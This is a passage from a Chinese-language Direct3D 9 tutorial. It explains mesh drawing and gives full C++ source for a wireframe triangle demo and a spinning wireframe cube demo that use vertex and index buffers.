D3DXCreateTeapot(_device, &mesh, 0);

一旦生成了网格数据,我们就能使用ID3DXMesh::DrawSubset方法绘制图形了。这个方法有一个参数,它用来识别网格的一个子集。这个网格是通过上面的D3DXCreate*函数中的一个子集创建的,因此可以给这个参数指定0值。一个渲染网格的例子:

_device->BeginScene();

       mesh->DrawSubset(0);

_device->EndScene();

使用了网格以后,必须释放(release)它:

mesh->Release();

_mesh = 0;

实例程序:三角形

这是非常简单的应用程序,它示范了在线框模式下怎样创建并渲染一个三角形。

/**************************************************************************************
  Renders a triangle in wireframe mode. 
  Demonstrates vertex buffers, render states, and drawing commands.
**************************************************************************************/
#include "d3dUtility.h"
#pragma warning(disable : 4100)
const int WIDTH  = 640;
const int HEIGHT = 480;
IDirect3DDevice9*        g_d3d_device  = NULL;
IDirect3DVertexBuffer9*    g_triangle_vb = NULL;
class cVertex
{
public:
float m_x, m_y, m_z;
    cVertex() {}
    cVertex(float x, float y, float z)
    {
        m_x = x;
        m_y = y;
        m_z = z;
    }
};
const DWORD VERTEX_FVF = D3DFVF_XYZ;
////////////////////////////////////////////////////////////////////////////////////////////////////
bool setup()
{   
    g_d3d_device->CreateVertexBuffer(3 * sizeof(cVertex), D3DUSAGE_WRITEONLY, VERTEX_FVF,
                                     D3DPOOL_MANAGED, &g_triangle_vb, NULL);
// fill the buffers with the triangle data
    cVertex* vertices;
    g_triangle_vb->Lock(0, 0, (void**)&vertices, 0);
    vertices[0] = cVertex(-1.0f, 0.0f, 2.0f);
    vertices[1] = cVertex( 0.0f, 1.0f, 2.0f);
    vertices[2] = cVertex( 1.0f, 0.0f, 2.0f);
    g_triangle_vb->Unlock();
// set the projection matrix
    D3DXMATRIX proj;
    D3DXMatrixPerspectiveFovLH(&proj, D3DX_PI * 0.5f, (float)WIDTH/HEIGHT, 1.0f, 1000.0f);
    g_d3d_device->SetTransform(D3DTS_PROJECTION, &proj);
// set wireframe mode render state
    g_d3d_device->SetRenderState(D3DRS_FILLMODE, D3DFILL_WIREFRAME);
return true;
}
void cleanup()
{
    safe_release<IDirect3DVertexBuffer9*>(g_triangle_vb);
}
bool display(float time_delta)
{
    g_d3d_device->Clear(0, NULL, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0xffffffff, 1.0f, 0);
    g_d3d_device->BeginScene();
    g_d3d_device->SetStreamSource(0, g_triangle_vb, 0, sizeof(cVertex));
    g_d3d_device->SetFVF(VERTEX_FVF);
// draw one triangle
    g_d3d_device->DrawPrimitive(D3DPT_TRIANGLELIST, 0, 1);
    g_d3d_device->EndScene();
    g_d3d_device->Present(NULL, NULL, NULL, NULL);
return true;
}
LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM word_param, LPARAM long_param)
{
switch(msg)
    {
case WM_DESTROY:
        PostQuitMessage(0);
break;
case WM_KEYDOWN:
if(word_param == VK_ESCAPE)
            DestroyWindow(hwnd);
break;
    }
return DefWindowProc(hwnd, msg, word_param, long_param);
}
int WINAPI WinMain(HINSTANCE inst, HINSTANCE, PSTR cmd_line, int cmd_show)
{
if(! init_d3d(inst, WIDTH, HEIGHT, true, D3DDEVTYPE_HAL, &g_d3d_device))
    {
        MessageBox(NULL, "init_d3d() - failed.", 0, MB_OK);
return 0;
    }
if(! setup())
    {
        MessageBox(NULL, "Steup() - failed.", 0, MB_OK);
return 0;
    }
    enter_msg_loop(display);
    cleanup();
    g_d3d_device->Release();
return 0;
}

截图:

下载三角形源程序

立方体——只比三角形稍微复杂一点,这个程序渲染一个线框立方体。

这个简单的绘制和渲染立方体的程序的运行结果如下图所示:

源程序:

/**************************************************************************************
  Renders a spinning cube in wireframe mode.  Demonstrates vertex and index buffers,
  world and view transformations, render states and drawing commands.
**************************************************************************************/
#include "d3dUtility.h"
#pragma warning(disable : 4100)
const int WIDTH  = 640;
const int HEIGHT = 480;
IDirect3DDevice9*        g_d3d_device    = NULL;
IDirect3DVertexBuffer9*    g_vertex_buffer = NULL;
IDirect3DIndexBuffer9*    g_index_buffer    = NULL;
class cVertex
{
public:
float m_x, m_y, m_z;
    cVertex() {}
    cVertex(float x, float y, float z)
    {
        m_x = x;
        m_y = y;
        m_z = z;
    }
};
const DWORD VERTEX_FVF = D3DFVF_XYZ;
////////////////////////////////////////////////////////////////////////////////////////////////////
bool setup()
{   
    g_d3d_device->CreateVertexBuffer(8 * sizeof(cVertex), D3DUSAGE_WRITEONLY, VERTEX_FVF,
                                     D3DPOOL_MANAGED, &g_vertex_buffer, NULL);
    g_d3d_device->CreateIndexBuffer(36 * sizeof(WORD), D3DUSAGE_WRITEONLY, D3DFMT_INDEX16,
                                    D3DPOOL_MANAGED, &g_index_buffer, NULL);
// fill the buffers with the cube data
    cVertex* vertices;
    g_vertex_buffer->Lock(0, 0, (void**)&vertices, 0);
// vertices of a unit cube
    vertices[0] = cVertex(-1.0f, -1.0f, -1.0f);
    vertices[1] = cVertex(-1.0f,  1.0f, -1.0f);
    vertices[2] = cVertex( 1.0f,  1.0f, -1.0f);
    vertices[3] = cVertex( 1.0f, -1.0f, -1.0f);
    vertices[4] = cVertex(-1.0f, -1.0f,  1.0f);
    vertices[5] = cVertex(-1.0f,  1.0f,  1.0f);
    vertices[6] = cVertex( 1.0f,  1.0f,  1.0f);
    vertices[7] = cVertex( 1.0f, -1.0f,  1.0f);
    g_vertex_buffer->Unlock();
// define the triangles of the cube
    WORD* indices = NULL;
    g_index_buffer->Lock(0, 0, (void**)&indices, 0);
// front side
    indices[0]  = 0; indices[1]  = 1; indices[2]  = 2;
    indices[3]  = 0; indices[4]  = 2; indices[5]  = 3;
// back side
    indices[6]  = 4; indices[7]  = 6; indices[8]  = 5;
    indices[9]  = 4; indices[10] = 7; indices[11] = 6;
// left side
    indices[12] = 4; indices[13] = 5; indices[14] = 1;
    indices[15] = 4; indices[16] = 1; indices[17] = 0;
// right side
    indices[18] = 3; indices[19] = 2; indices[20] = 6;
    indices[21] = 3; indices[22] = 6; indices[23] = 7;
// top
    indices[24] = 1; indices[25] = 5; indices[26] = 6;
    indices[27] = 1; indices[28] = 6; indices[29] = 2;
// bottom
    indices[30] = 4; indices[31] = 0; indices[32] = 3;
    indices[33] = 4; indices[34] = 3; indices[35] = 7;
    g_index_buffer->Unlock();
// position and aim the camera
    D3DXVECTOR3 position(0.0f, 0.0f, -5.0f);
    D3DXVECTOR3 target(0.0f, 0.0f, 0.0f);
    D3DXVECTOR3 up(0.0f, 1.0f, 0.0f);
    D3DXMATRIX view_matrix;
    D3DXMatrixLookAtLH(&view_matrix, &position, &target, &up);
    g_d3d_device->SetTransform(D3DTS_VIEW, &view_matrix);
// set the projection matrix
    D3DXMATRIX proj;
    D3DXMatrixPerspectiveFovLH(&proj, D3DX_PI * 0.5f, (float)WIDTH/HEIGHT, 1.0f, 1000.0f);
    g_d3d_device->SetTransform(D3DTS_PROJECTION, &proj);
// set wireframe mode render state
    g_d3d_device->SetRenderState(D3DRS_FILLMODE, D3DFILL_WIREFRAME);
return true;
}
void cleanup()
{
    safe_release<IDirect3DVertexBuffer9*>(g_vertex_buffer);
    safe_release<IDirect3DIndexBuffer9*>(g_index_buffer);
}
bool display(float time_delta)
{
// spin the cube
    D3DXMATRIX rx, ry;
// rotate 45 degree on x-axis
    D3DXMatrixRotationX(&rx, 3.14f/4.0f);
// increment y-rotation angle each frame
static float y = 0.0f;
    D3DXMatrixRotationY(&ry, y);
    y += time_delta;
// reset angle to zero when angle reaches 2*PI
if(y >= 6.28f)
        y = 0.0f;
// combine x and y axis ratation transformations
    D3DXMATRIX rxy = rx * ry;
    g_d3d_device->SetTransform(D3DTS_WORLD, &rxy);
// draw the scene
    g_d3d_device->Clear(0, NULL, D3DCLEAR_TARGET | D3DCLEAR_ZBUFFER, 0xffffffff, 1.0f, 0);
    g_d3d_device->BeginScene();
    g_d3d_device->SetStreamSource(0, g_vertex_buffer, 0, sizeof(cVertex));
    g_d3d_device->SetIndices(g_index_buffer);
    g_d3d_device->SetFVF(VERTEX_FVF);
// draw cube
    g_d3d_device->DrawIndexedPrimitive(D3DPT_TRIANGLELIST, 0, 0, 8, 0, 12);
    g_d3d_device->EndScene();
    g_d3d_device->Present(NULL, NULL, NULL, NULL);
return true;
}
LRESULT CALLBACK wnd_proc(HWND hwnd, UINT msg, WPARAM word_param, LPARAM long_param)
{
switch(msg)
    {
case WM_DESTROY:
        PostQuitMessage(0);
break;
case WM_KEYDOWN:
if(word_param == VK_ESCAPE)
            DestroyWindow(hwnd);
break;
    }
return DefWindowProc(hwnd, msg, word_param, long_param);
}
int WINAPI WinMain(HINSTANCE inst, HINSTANCE, PSTR cmd_line, int cmd_show)
{
if(! init_d3d(inst, WIDTH, HEIGHT, true, D3DDEVTYPE_HAL, &g_d3d_device))
    {
        MessageBox(NULL, "init_d3d() - failed.", 0, MB_OK);
return 0;
    }
if(! setup())
    {
        MessageBox(NULL, "Steup() - failed.", 0, MB_OK);
return 0;
    }
    enter_msg_loop(display);
    cleanup();
    g_d3d_device->Release();
return 0;
}

setup函数创建顶点和索引缓存,锁定它们,把构成立方体的顶点写入顶点缓存,以及把定义立方体的三角形的索引写入索引缓存。然后把摄象机向后移动几个单位以便我们能够看见在世界坐标系中原点处被渲染的立方体。

display方法有两个任务;它必须更新场景并且紧接着渲染它。既然想旋转立方体,那么我们将对每一帧增加一个角度使立方体能在这一帧旋转。对于这每一帧,立方体将被旋转一个很小的角度,这样我们看起来旋转就会更平滑。接着我们使用IDirect3DDevice9::DrawIndexedPrimitive方法来绘制立方体。

最后,我们释放使用过的所有内存。这意味着释放顶点和索引缓存接口。

下载立方体演示程序